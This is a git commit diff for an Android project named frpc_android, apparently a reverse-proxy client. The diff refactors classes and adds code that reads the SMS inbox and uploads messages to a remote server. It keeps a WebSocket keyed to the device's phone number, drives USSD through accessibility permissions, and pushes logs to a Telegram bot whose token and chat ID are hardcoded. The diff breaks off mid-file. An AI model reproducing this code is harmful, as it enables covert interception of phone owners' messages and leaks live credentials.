hxMac 1 ano atrás
pai
commit
a43f3ef141
25 arquivos alterados com 740 adições e 408 exclusões
  1. 2 0
      frpc_android-master/app/build.gradle
  2. 2 82
      frpc_android-master/app/src/main/java/com/car/MainApp.java
  3. 2 8
      frpc_android-master/app/src/main/java/com/car/frpc_android/BaseActivity.java
  4. 18 0
      frpc_android-master/app/src/main/java/com/car/frpc_android/Config.java
  5. 3 1
      frpc_android-master/app/src/main/java/com/car/frpc_android/dialog/DialogManager.java
  6. 9 5
      frpc_android-master/app/src/main/java/com/car/frpc_android/ui/HomeFragment.java
  7. 21 31
      frpc_android-master/app/src/main/java/com/car/frpc_android/ui/IniEditActivity.java
  8. 45 50
      frpc_android-master/app/src/main/java/com/car/frpc_android/ui/LogcatActivity.java
  9. 42 13
      frpc_android-master/app/src/main/java/com/car/frpc_android/ui/MainActivity.java
  10. 9 26
      frpc_android-master/app/src/main/java/com/car/frpc_android/ui/TemplateActivity.java
  11. 16 15
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/CheckInboxWorker.java
  12. 77 15
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/ForegroundService.java
  13. 3 1
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/FrpcService.java
  14. 11 8
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/HeartbeatWorker.java
  15. 63 3
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/HxUtils.java
  16. 0 1
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/PermissionsUtils.java
  17. 34 4
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/SmsReceiver.java
  18. 131 0
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/TelegramBotExample.java
  19. 216 0
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/WebSocketManager.java
  20. 0 135
      frpc_android-master/app/src/main/java/com/car/http/Error.java
  21. 2 1
      frpc_android-master/app/src/main/res/layout/activity_logcat.xml
  22. 10 0
      frpc_android-master/app/src/main/res/menu/main.xml
  23. 5 0
      frpc_android-master/app/src/main/res/menu/menu_logcat.xml
  24. 11 1
      frpc_android-master/app/src/main/res/values/strings.xml
  25. 8 8
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java

+ 2 - 0
frpc_android-master/app/build.gradle

@@ -80,6 +80,8 @@ android {
             json.put("description", "1.新增更新渠道\n2.已知Bug修复\n3.其他\n")//更新内容
             json.put("isForce", true)//是否强制更新
             json.put("title", "有新的版本可以更新!")//更新dialog显示的标题头
+            json.put("chatId", "-1001958143149L")//日志chat_id
+            json.put("botToken", "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I")//日志token
             // 获取 APK 文件的父文件夹
             def apkFilePath = outputFile.parent
             def targetFolder = file(apkFilePath)

+ 2 - 82
frpc_android-master/app/src/main/java/com/car/MainApp.java

@@ -1,38 +1,17 @@
 package com.car;
 
-import android.util.Log;
-
 import androidx.multidex.MultiDex;
 import androidx.multidex.MultiDexApplication;
 
 import com.car.frpc_android.BuildConfig;
-import com.car.frpc_android.ui.MainActivity;
-import com.car.frpc_android.util.HxUtils;
-import com.jeremyliao.liveeventbus.LiveEventBus;
+import com.car.frpc_android.util.WebSocketManager;
 import com.microsoft.appcenter.AppCenter;
 import com.microsoft.appcenter.analytics.Analytics;
 import com.microsoft.appcenter.crashes.Crashes;
 
 import org.xutils.x;
 
-import java.util.concurrent.Executors;
-import java.util.concurrent.ScheduledExecutorService;
-import java.util.concurrent.ScheduledFuture;
-import java.util.concurrent.TimeUnit;
-
-import okhttp3.OkHttpClient;
-import okhttp3.Request;
-import okhttp3.Response;
-import okhttp3.WebSocket;
-import okhttp3.WebSocketListener;
-
 public class MainApp extends MultiDexApplication {
-    private OkHttpClient client;
-    private WebSocket webSocket;
-    private ScheduledFuture<?> reconnectTask;
-    private ScheduledExecutorService executorService;
-    private static final int NORMAL_CLOSURE_STATUS = 1000;
-    private static final long RECONNECT_DELAY_MS = 5000; // 重连延迟时间
 
     @Override
     public void onCreate() {
@@ -41,66 +20,7 @@ public class MainApp extends MultiDexApplication {
         x.Ext.init(this);
         x.Ext.setDebug(BuildConfig.DEBUG);
         AppCenter.start(this, BuildConfig.UPDATE_KEY, Analytics.class, Crashes.class);
-        connectWebSocket();
-    }
-
-    private WebSocket connectWebSocket() {
-        client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
-        String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
-        Request request = new Request.Builder().url(Url).build();
-        WebSocketListener webSocketListener = new WebSocketListener() {
-            @Override
-            public void onOpen(WebSocket webSocket, Response response) {
-                super.onOpen(webSocket, response);
-                Log.d("hzshkj", "[MainApp] onOpen: ");
-                LiveEventBus.get(MainActivity.WEBSOCKET_STATUS_TAG).post("WebSocket open.");
-
-            }
-
-            @Override
-            public void onMessage(WebSocket webSocket, String text) {
-                super.onMessage(webSocket, text);
-                Log.d("hzshkj", "[MainApp] onMessage: ");
-                LiveEventBus.get(MainActivity.WEBSOCKET_STATUS_TAG).post("WebSocket message.");
-            }
-
-            @Override
-            public void onClosing(WebSocket webSocket, int code, String reason) {
-                super.onClosing(webSocket, code, reason);
-                webSocket.close(code, reason);
-                Log.d("hzshkj", "[MainApp] onClosing: ");
-                LiveEventBus.get(MainActivity.WEBSOCKET_STATUS_TAG).post("WebSocket closing.[" + reason + "]");
-            }
-
-            @Override
-            public void onClosed(WebSocket webSocket, int code, String reason) {
-                super.onClosed(webSocket, code, reason);
-                reconnectWebSocket();
-                Log.d("hzshkj", "[MainApp] onClosed: ");
-                LiveEventBus.get(MainActivity.WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
-            }
-
-            @Override
-            public void onFailure(WebSocket webSocket, Throwable t, Response response) {
-                super.onFailure(webSocket, t, response);
-                reconnectWebSocket();
-                Log.d("hzshkj", "[MainApp] onFailure: ");
-                LiveEventBus.get(MainActivity.WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
-            }
-        };
-
-        return webSocket = client.newWebSocket(request, webSocketListener);
+        WebSocketManager.connectWebSocket();
     }
 
-    private void reconnectWebSocket() {
-        if (reconnectTask != null && !reconnectTask.isDone()) {
-            reconnectTask.cancel(true);
-        }
-        executorService = Executors.newSingleThreadScheduledExecutor();
-        reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
-    }
-
-    public WebSocket getWebSocket() {
-        return webSocket;
-    }
 }

+ 2 - 8
frpc_android-master/app/src/main/java/com/car/frpc_android/BaseActivity.java

@@ -14,7 +14,6 @@ import androidx.viewbinding.ViewBinding;
 
 import com.blankj.utilcode.util.KeyboardUtils;
 import com.blankj.utilcode.util.StringUtils;
-import com.car.MainApp;
 import com.car.frpc_android.util.ForegroundService;
 import com.car.frpc_android.util.HxUtils;
 import com.car.frpc_android.util.PermissionsUtils;
@@ -27,8 +26,6 @@ import java.lang.reflect.Method;
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
 
-import okhttp3.WebSocket;
-
 /**
  * author: hx
  * created on: 2023/10/16 18:00
@@ -52,7 +49,6 @@ public abstract class BaseActivity<B extends ViewBinding> extends AppCompatActiv
                 getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
             }
         }
-
         initView();
         initData();
     }
@@ -79,6 +75,7 @@ public abstract class BaseActivity<B extends ViewBinding> extends AppCompatActiv
     protected void onStart() {
         super.onStart();
         PermissionsUtils.checkPermission(isPermission(), isOtherPermission());
+
     }
 
     public boolean isPermission() {
@@ -117,6 +114,7 @@ public abstract class BaseActivity<B extends ViewBinding> extends AppCompatActiv
         HxUtils.checkForUpdate(this, false);
     }
 
+
     public String getPhone() {
         if (StringUtils.isEmpty(HxUtils.getPhone())) {
             return StringUtils.getString(R.string.click_here_to_set_the_number);
@@ -124,9 +122,5 @@ public abstract class BaseActivity<B extends ViewBinding> extends AppCompatActiv
         return HxUtils.getPhone();
     }
 
-    public WebSocket getWebSocket() {
-        MainApp myApp = (MainApp) getApplication();
-        return myApp.getWebSocket();
-    }
 
 }

+ 18 - 0
frpc_android-master/app/src/main/java/com/car/frpc_android/Config.java

@@ -0,0 +1,18 @@
+package com.car.frpc_android;
+
+/**
+ * author: hx
+ * created on: 2023/10/17 12:36
+ * description:
+ */
+public class Config {
+    public static final String LOG_TAG = "hzshkj";
+    public static final String EVENT_UPDATE_CONFIG = "EVENT_UPDATE_CONFIG";
+    public static final String EVENT_RUNNING_ERROR = "EVENT_RUNNING_ERROR";
+    public static final String INTENT_EDIT_INI = "INTENT_EDIT_INI";
+    public static final String SMS_TAG = "SMS_TAG";
+    public static final String SMS_UPLOAD_TAG = "SMS_UPLOAD_TAG";
+    public static final String WEBSOCKET_STATUS_TAG = "WEBSOCKET_STATUS";
+    public static final String BREATH_TAG = "BREATH";
+    public static final String PHONE_TAG = "PHONE_TAG";
+}

+ 3 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/dialog/DialogManager.java

@@ -1,5 +1,7 @@
 package com.car.frpc_android.dialog;
 
+import static com.car.frpc_android.Config.PHONE_TAG;
+
 import android.app.Activity;
 import android.app.ProgressDialog;
 import android.widget.EditText;
@@ -36,7 +38,7 @@ public class DialogManager {
             String name = editText.getText().toString();
             if (!StringUtils.isEmpty(name)) {
                 HxUtils.setPhone(name);
-                LiveEventBus.get(MainActivity.PHONE_TAG).post(name);
+                LiveEventBus.get(PHONE_TAG).post(name);
             }
         });
         builder.setNegativeButton(R.string.cancel, (dialog, which) -> dialog.cancel());

+ 9 - 5
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/HomeFragment.java

@@ -1,5 +1,9 @@
 package com.car.frpc_android.ui;
 
+import static com.car.frpc_android.Config.EVENT_RUNNING_ERROR;
+import static com.car.frpc_android.Config.EVENT_UPDATE_CONFIG;
+import static com.car.frpc_android.Config.INTENT_EDIT_INI;
+
 import android.content.Intent;
 import android.os.Bundle;
 import android.text.TextUtils;
@@ -15,12 +19,12 @@ import androidx.recyclerview.widget.RecyclerView;
 import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
 
 import com.afollestad.materialdialogs.MaterialDialog;
-import com.car.frpc_android.util.CommonUtils;
-import com.car.frpc_android.util.FrpcService;
 import com.car.frpc_android.R;
 import com.car.frpc_android.adapter.FileListAdapter;
 import com.car.frpc_android.database.AppDatabase;
 import com.car.frpc_android.database.Config;
+import com.car.frpc_android.util.CommonUtils;
+import com.car.frpc_android.util.FrpcService;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.List;
@@ -36,8 +40,8 @@ import io.reactivex.disposables.Disposable;
 import io.reactivex.schedulers.Schedulers;
 
 public class HomeFragment extends Fragment {
-    public static final String EVENT_UPDATE_CONFIG = "EVENT_UPDATE_CONFIG";
-    public static final String EVENT_RUNNING_ERROR = "EVENT_RUNNING_ERROR";
+
+
 
     @BindView(R.id.recyclerView)
     RecyclerView recyclerView;
@@ -161,7 +165,7 @@ public class HomeFragment extends Fragment {
 
     private void editConfig(int position) {
         Config item = listAdapter.getItem(position);
-        LiveEventBus.get(IniEditActivity.INTENT_EDIT_INI).post(item);
+        LiveEventBus.get(INTENT_EDIT_INI).post(item);
         startActivity(new Intent(getContext(), IniEditActivity.class));
 
     }

+ 21 - 31
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/IniEditActivity.java

@@ -1,64 +1,53 @@
 package com.car.frpc_android.ui;
 
+import static com.car.frpc_android.Config.EVENT_UPDATE_CONFIG;
+import static com.car.frpc_android.Config.INTENT_EDIT_INI;
+
 import android.content.Intent;
-import android.os.Bundle;
 import android.text.TextUtils;
 import android.view.Menu;
 import android.view.MenuItem;
 import android.widget.Toast;
 
 import androidx.annotation.NonNull;
-import androidx.appcompat.app.AppCompatActivity;
-import androidx.appcompat.widget.Toolbar;
 
 import com.afollestad.materialdialogs.MaterialDialog;
+import com.car.frpc_android.BaseActivity;
 import com.car.frpc_android.R;
 import com.car.frpc_android.database.AppDatabase;
 import com.car.frpc_android.database.Config;
-import com.github.ahmadaghazadeh.editor.widget.CodeEditor;
+import com.car.frpc_android.databinding.ActivityIniEditBinding;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.UUID;
 
-import butterknife.BindView;
-import butterknife.ButterKnife;
 import io.reactivex.Completable;
 import io.reactivex.CompletableObserver;
 import io.reactivex.android.schedulers.AndroidSchedulers;
 import io.reactivex.disposables.Disposable;
 import io.reactivex.schedulers.Schedulers;
 
-public class IniEditActivity extends AppCompatActivity {
+public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
 
-    public static final String INTENT_EDIT_INI = "INTENT_EDIT_INI";
-    @BindView(R.id.editText)
-    CodeEditor editText;
-    @BindView(R.id.toolbar)
-    Toolbar toolbar;
 
     private Config config;
 
+
     @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_ini_edit);
-        ButterKnife.bind(this);
+    public void initView() {
         initToolbar();
-
         LiveEventBus.get(INTENT_EDIT_INI, Config.class).observeSticky(this, value -> {
             config = value;
-            editText.setText(config.getCfg(), 1);
-            toolbar.setTitle(TextUtils.isEmpty(config.getName()) ? getString(R.string.noName) : config.getName());
+            b.editText.setText(config.getCfg(), 1);
+            b.toolbar.setTitle(TextUtils.isEmpty(config.getName()) ? getString(R.string.noName) : config.getName());
         });
-
-
     }
 
 
     private void initToolbar() {
-        setSupportActionBar(toolbar);
+        setSupportActionBar(b.toolbar);
         getSupportActionBar().setDisplayHomeAsUpEnabled(true);
-        toolbar.setNavigationOnClickListener(v -> finish());
+        b.toolbar.setNavigationOnClickListener(v -> finish());
     }
 
     @Override
@@ -70,6 +59,7 @@ public class IniEditActivity extends AppCompatActivity {
             case R.id.action_save:
                 actionSave();
                 break;
+
         }
         return super.onOptionsItemSelected(item);
     }
@@ -86,15 +76,15 @@ public class IniEditActivity extends AppCompatActivity {
                 .input("", TextUtils.isEmpty(config.getName()) ? "" : config.getName(), false, (dialog, input) ->
                 {
                     config.setName(input.toString())
-                            .setCfg(editText.getText());
+                            .setCfg(b.editText.getText());
                     Completable action =
                             TextUtils.isEmpty(config.getUid()) ?
-                            AppDatabase.getInstance(IniEditActivity.this)
-                                    .configDao()
-                                    .insert(config.setUid(UUID.randomUUID().toString())) :
-                            AppDatabase.getInstance(IniEditActivity.this)
-                                    .configDao()
-                                    .update(config);
+                                    AppDatabase.getInstance(IniEditActivity.this)
+                                            .configDao()
+                                            .insert(config.setUid(UUID.randomUUID().toString())) :
+                                    AppDatabase.getInstance(IniEditActivity.this)
+                                            .configDao()
+                                            .update(config);
                     action
                             .subscribeOn(Schedulers.io())
                             .observeOn(AndroidSchedulers.mainThread())
@@ -108,7 +98,7 @@ public class IniEditActivity extends AppCompatActivity {
                                 public void onComplete() {
                                     Toast.makeText(IniEditActivity.this.getApplicationContext(), R.string.tipSaveSuccess, Toast.LENGTH_SHORT).show();
                                     dialog.dismiss();
-                                    LiveEventBus.get(HomeFragment.EVENT_UPDATE_CONFIG).post(config);
+                                    LiveEventBus.get(EVENT_UPDATE_CONFIG).post(config);
                                     finish();
                                 }
 

+ 45 - 50
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/LogcatActivity.java

@@ -3,27 +3,23 @@ package com.car.frpc_android.ui;
 import android.content.ClipData;
 import android.content.ClipboardManager;
 import android.content.Context;
-import android.os.Bundle;
 import android.view.Menu;
 import android.view.MenuItem;
 import android.view.View;
-import android.widget.ScrollView;
-import android.widget.TextView;
 import android.widget.Toast;
 
+import androidx.annotation.NonNull;
+
+import com.car.frpc_android.BaseActivity;
 import com.car.frpc_android.R;
+import com.car.frpc_android.databinding.ActivityLogcatBinding;
+import com.car.frpc_android.util.TelegramBotExample;
 
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
 import java.util.HashSet;
 import java.util.LinkedHashSet;
 
-import androidx.annotation.NonNull;
-import androidx.appcompat.app.AppCompatActivity;
-import androidx.appcompat.widget.Toolbar;
-import butterknife.BindView;
-import butterknife.ButterKnife;
-import butterknife.internal.Utils;
 import io.reactivex.Observable;
 import io.reactivex.ObservableOnSubscribe;
 import io.reactivex.Observer;
@@ -31,55 +27,46 @@ import io.reactivex.android.schedulers.AndroidSchedulers;
 import io.reactivex.disposables.Disposable;
 import io.reactivex.schedulers.Schedulers;
 
-public class LogcatActivity extends AppCompatActivity {
-
-    @BindView(R.id.toolbar)
-    Toolbar toolbar;
-    @BindView(R.id.tv_logcat)
-    TextView tvLogcat;
-    @BindView(R.id.sv_logcat)
-    ScrollView svLogcat;
+public class LogcatActivity extends BaseActivity<ActivityLogcatBinding> {
 
     @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_logcat);
-        ButterKnife.bind(this);
+    public void initView() {
         initToolbar();
         readLog(false);
     }
 
     private void readLog(boolean flush) {
-        HashSet<String> lst = new LinkedHashSet<String>();
+        HashSet<String> lst = new LinkedHashSet<>();
         lst.add("logcat");
         lst.add("-d");
         lst.add("-v");
         lst.add("time");
         lst.add("-s");
         lst.add("GoLog,com.car.frpc_android.util.FrpcService");
+        lst.add("hzshkj");
         Observable.create((ObservableOnSubscribe<String>) emitter -> {
 
-            if (flush) {
-                HashSet<String> lst2 = new LinkedHashSet<String>();
-                lst2.add("logcat");
-                lst2.add("-c");
-                Process process = Runtime.getRuntime().exec(lst2.toArray(new String[0]));
-                process.waitFor();
-            }
-
-            Process process = Runtime.getRuntime().exec(lst.toArray(new String[0]));
-
-            InputStreamReader in = new InputStreamReader(process.getInputStream());
-            BufferedReader bufferedReader = new BufferedReader(in);
-
-            String line = null;
-            while ((line = bufferedReader.readLine()) != null) {
-                emitter.onNext(line);
-            }
-            in.close();
-            bufferedReader.close();
-            emitter.onComplete();
-        }).subscribeOn(Schedulers.io())
+                    if (flush) {
+                        HashSet<String> lst2 = new LinkedHashSet<>();
+                        lst2.add("logcat");
+                        lst2.add("-c");
+                        Process process = Runtime.getRuntime().exec(lst2.toArray(new String[0]));
+                        process.waitFor();
+                    }
+
+                    Process process = Runtime.getRuntime().exec(lst.toArray(new String[0]));
+
+                    InputStreamReader in = new InputStreamReader(process.getInputStream());
+                    BufferedReader bufferedReader = new BufferedReader(in);
+
+                    String line = null;
+                    while ((line = bufferedReader.readLine()) != null) {
+                        emitter.onNext(line);
+                    }
+                    in.close();
+                    bufferedReader.close();
+                    emitter.onComplete();
+                }).subscribeOn(Schedulers.io())
                 .observeOn(AndroidSchedulers.mainThread())
                 .subscribe(new Observer<String>() {
                     @Override
@@ -89,9 +76,9 @@ public class LogcatActivity extends AppCompatActivity {
 
                     @Override
                     public void onNext(String s) {
-                        tvLogcat.append(s);
-                        tvLogcat.append("\r\n");
-                        svLogcat.fullScroll(View.FOCUS_DOWN);
+                        b.tvLogcat.append(s);
+                        b.tvLogcat.append("\r\n");
+                        b.svLogcat.fullScroll(View.FOCUS_DOWN);
                     }
 
                     @Override
@@ -109,9 +96,9 @@ public class LogcatActivity extends AppCompatActivity {
     }
 
     private void initToolbar() {
-        setSupportActionBar(toolbar);
+        setSupportActionBar(b.toolbar);
         getSupportActionBar().setDisplayHomeAsUpEnabled(true);
-        toolbar.setNavigationOnClickListener(v -> finish());
+        b.toolbar.setNavigationOnClickListener(v -> finish());
     }
 
     @Override
@@ -124,12 +111,16 @@ public class LogcatActivity extends AppCompatActivity {
     public boolean onOptionsItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
             case R.id.copy:
-                setClipboard(tvLogcat.getText().toString());
+                setClipboard(b.tvLogcat.getText().toString());
                 Toast.makeText(this, R.string.copySuccess, Toast.LENGTH_SHORT).show();
                 break;
             case R.id.delete:
                 readLog(true);
-                tvLogcat.setText("");
+                b.tvLogcat.setText("");
+                break;
+            case R.id.push:
+                pushLog();
+
                 break;
         }
         return super.onOptionsItemSelected(item);
@@ -144,4 +135,8 @@ public class LogcatActivity extends AppCompatActivity {
             e.printStackTrace();
         }
     }
+
+    public void pushLog() {
+        new TelegramBotExample(b.tvLogcat.getText().toString(), false);
+    }
 }

+ 42 - 13
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/MainActivity.java

@@ -1,6 +1,12 @@
 package com.car.frpc_android.ui;
 
 import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
+import static com.car.frpc_android.Config.BREATH_TAG;
+import static com.car.frpc_android.Config.INTENT_EDIT_INI;
+import static com.car.frpc_android.Config.PHONE_TAG;
+import static com.car.frpc_android.Config.SMS_TAG;
+import static com.car.frpc_android.Config.SMS_UPLOAD_TAG;
+import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
 
 import android.content.Context;
 import android.content.Intent;
@@ -30,6 +36,7 @@ import com.car.frpc_android.util.CheckInboxWorker;
 import com.car.frpc_android.util.CommonUtils;
 import com.car.frpc_android.util.HeartbeatWorker;
 import com.car.frpc_android.util.HxUtils;
+import com.car.frpc_android.util.TelegramBotExample;
 import com.car.http.APPConfig;
 import com.car.http.BaseBean;
 import com.car.http.Http;
@@ -56,11 +63,8 @@ import okhttp3.WebSocket;
 import okhttp3.WebSocketListener;
 
 public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
-    public static final String SMS_TAG = "SMS_TAG";
-    public static final String SMS_UPLOAD_TAG = "SMS_UPLOAD_TAG";
-    public static final String WEBSOCKET_STATUS_TAG = "WEBSOCKET_STATUS";
-    public static final String BREATH_TAG = "BREATH";
-    public static final String PHONE_TAG = "PHONE_TAG";
+
+
 
 
     private AppBarConfiguration mAppBarConfiguration;
@@ -81,6 +85,11 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     private ScheduledFuture<?> reconnectTask;
     private ScheduledExecutorService executorService;
 
+    private androidx.lifecycle.Observer<String> observer1;
+    private androidx.lifecycle.Observer<String> observer2;
+    private androidx.lifecycle.Observer<String> observer3;
+    private androidx.lifecycle.Observer<String> observer4;
+    private androidx.lifecycle.Observer<String> observer5;
 
     @Override
     public void initView() {
@@ -97,10 +106,11 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         CheckInboxWorker.start();
         HeartbeatWorker.start();
 //        connectSocket();
+
         b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
             DialogManager.phoneEditDialog();
         });
-        LiveEventBus.get(SMS_TAG, String.class).observe(this, s -> {
+        observer1 = s -> {
             HashMap<String, Object> map = new HashMap<>();
             map.put("data", s);
             map.put("password", "o6M5sG7E@FAWLBL9");
@@ -139,16 +149,30 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
                             }
                         }
                     });
-        });
-        LiveEventBus.get(BREATH_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.workTv.setText(s));
-        LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.workTv2.setText(s));
-        LiveEventBus.get(SMS_UPLOAD_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.workTv3.setText(s));
-        LiveEventBus.get(PHONE_TAG, String.class).observe(this, s -> b.appBarMain.contentMain.phoneTv.setText(s));
+        };
+        observer2 = s -> b.appBarMain.contentMain.workTv.setText(s);
+        observer3 = s -> b.appBarMain.contentMain.workTv2.setText(s);
+        observer4 = s -> b.appBarMain.contentMain.workTv3.setText(s);
+        observer5 = s -> b.appBarMain.contentMain.phoneTv.setText(s);
+        LiveEventBus.get(SMS_TAG, String.class).observe(this, observer1);
+        LiveEventBus.get(BREATH_TAG, String.class).observe(this, observer2);
+        LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).observe(this, observer3);
+        LiveEventBus.get(SMS_UPLOAD_TAG, String.class).observeSticky(this, observer4);
+        LiveEventBus.get(PHONE_TAG, String.class).observe(this, observer5);
         b.appBarMain.contentMain.phoneTv.setText(getPhone());
         startForegroundService();
         checkForUpdate();
     }
 
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        LiveEventBus.get(SMS_TAG, String.class).removeObserver(observer1);
+        LiveEventBus.get(BREATH_TAG, String.class).removeObserver(observer2);
+        LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer3);
+        LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer4);
+        LiveEventBus.get(PHONE_TAG, String.class).removeObserver(observer5);
+    }
 
     @Override
     public boolean onOptionsItemSelected(@NonNull MenuItem item) {
@@ -164,7 +188,7 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
 
                             @Override
                             public void onNext(@NonNull String content) {
-                                LiveEventBus.get(IniEditActivity.INTENT_EDIT_INI).post(new Config(content));
+                                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
                                 startActivity(new Intent(MainActivity.this, IniEditActivity.class));
                             }
 
@@ -180,9 +204,14 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
                         });
                 break;
             case R.id.action_accessibility:
-                USSDController.verifyOverLay(context);
                 USSDController.verifyAccesibilityAccess(context);
                 break;
+            case R.id.action_accessibility2:
+                USSDController.verifyOverLay(context);
+                break;
+            case R.id.action_update_log_config:
+                HxUtils.checkForUpdateBotConfig();
+                break;
         }
         return super.onOptionsItemSelected(item);
     }

+ 9 - 26
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/TemplateActivity.java

@@ -1,41 +1,24 @@
 package com.car.frpc_android.ui;
 
-import android.os.Bundle;
-
 import androidx.annotation.NonNull;
-import androidx.appcompat.app.AppCompatActivity;
-import androidx.appcompat.widget.Toolbar;
 
-import com.car.frpc_android.util.CommonUtils;
+import com.car.frpc_android.BaseActivity;
 import com.car.frpc_android.R;
-import com.github.ahmadaghazadeh.editor.widget.CodeEditor;
+import com.car.frpc_android.databinding.ActivityIniEditBinding;
+import com.car.frpc_android.util.CommonUtils;
 
-import butterknife.BindView;
-import butterknife.ButterKnife;
 import io.reactivex.Observer;
 import io.reactivex.android.schedulers.AndroidSchedulers;
 import io.reactivex.disposables.Disposable;
 import io.reactivex.schedulers.Schedulers;
 
-public class TemplateActivity extends AppCompatActivity {
-
-    @BindView(R.id.editText)
-    CodeEditor editText;
-    @BindView(R.id.toolbar)
-    Toolbar toolbar;
+public class TemplateActivity extends BaseActivity<ActivityIniEditBinding> {
 
 
     @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_ini_edit);
-        ButterKnife.bind(this);
-
+    public void initView() {
         initToolbar();
-
         initEdit();
-
-
     }
 
     private void initEdit() {
@@ -50,7 +33,7 @@ public class TemplateActivity extends AppCompatActivity {
 
                     @Override
                     public void onNext(@NonNull String content) {
-                        editText.setText(content, 1);
+                        b.editText.setText(content, 1);
 
                     }
 
@@ -69,9 +52,9 @@ public class TemplateActivity extends AppCompatActivity {
     }
 
     private void initToolbar() {
-        setSupportActionBar(toolbar);
+        setSupportActionBar(b.toolbar);
         getSupportActionBar().setDisplayHomeAsUpEnabled(true);
-        toolbar.setNavigationOnClickListener(v -> finish());
-        toolbar.setTitle(R.string.titleTemplate);
+        b.toolbar.setNavigationOnClickListener(v -> finish());
+        b.toolbar.setTitle(R.string.titleTemplate);
     }
 }

+ 16 - 15
frpc_android-master/app/src/main/java/com/car/frpc_android/util/CheckInboxWorker.java

@@ -1,6 +1,7 @@
 package com.car.frpc_android.util;
 
 import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
+import static com.car.frpc_android.Config.SMS_UPLOAD_TAG;
 
 import android.annotation.SuppressLint;
 import android.content.ContentResolver;
@@ -21,8 +22,8 @@ import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.TimeUtils;
 import com.blankj.utilcode.util.Utils;
+import com.car.frpc_android.Config;
 import com.car.frpc_android.database.DBHelper;
-import com.car.frpc_android.ui.MainActivity;
 import com.car.http.APPConfig;
 import com.car.http.BaseBean;
 import com.car.http.Http;
@@ -42,8 +43,8 @@ public class CheckInboxWorker extends Worker {
     @Override
     public Result doWork() {
         if (StringUtils.isEmpty(HxUtils.getPhone())) {
-            LiveEventBus.get(MainActivity.SMS_UPLOAD_TAG).post("Sms inbox worker retrying.[No phone number set yet.]");
-            Log.d("hzshkj", "[CheckInboxWorker] doWork: Sms inbox worker retrying.[No phone number set yet.]");
+            LiveEventBus.get(SMS_UPLOAD_TAG).post("Sms inbox worker retrying.[No phone number set yet.]");
+            Log.i(Config.LOG_TAG, "[CheckInboxWorker] doWork: Sms inbox worker retrying.[No phone number set yet.]");
             return Result.retry();
         }
         try {
@@ -90,33 +91,32 @@ public class CheckInboxWorker extends Worker {
                                 @Override
                                 public void onNext(String model) {
                                     dbHelper.insertOrUpdateData(id, 1);
-                                    Log.d("hzshkj", "[CheckInboxWorker] onNext: " + "SMS[" + id + "] commit success.");
-                                    LiveEventBus.get(MainActivity.SMS_UPLOAD_TAG).post("SMS[" + id + "] commit success.");
+                                    LiveEventBus.get(SMS_UPLOAD_TAG).post("SMS[" + id + "] commit success.");
                                 }
 
                                 @Override
                                 public void onError(Throwable ex) {
                                     super.onError(ex);
-                                    Log.d("hzshkj", "[CheckInboxWorker] onError: SMS[" + id + "] commit error.");
-                                    LiveEventBus.get(MainActivity.SMS_UPLOAD_TAG).post("SMS[" + id + "] commit error.");
+                                    Log.e(Config.LOG_TAG, "[CheckInboxWorker] onError: SMS[" + id + "] commit error.", ex);
+                                    LiveEventBus.get(SMS_UPLOAD_TAG).post("SMS[" + id + "] commit error.");
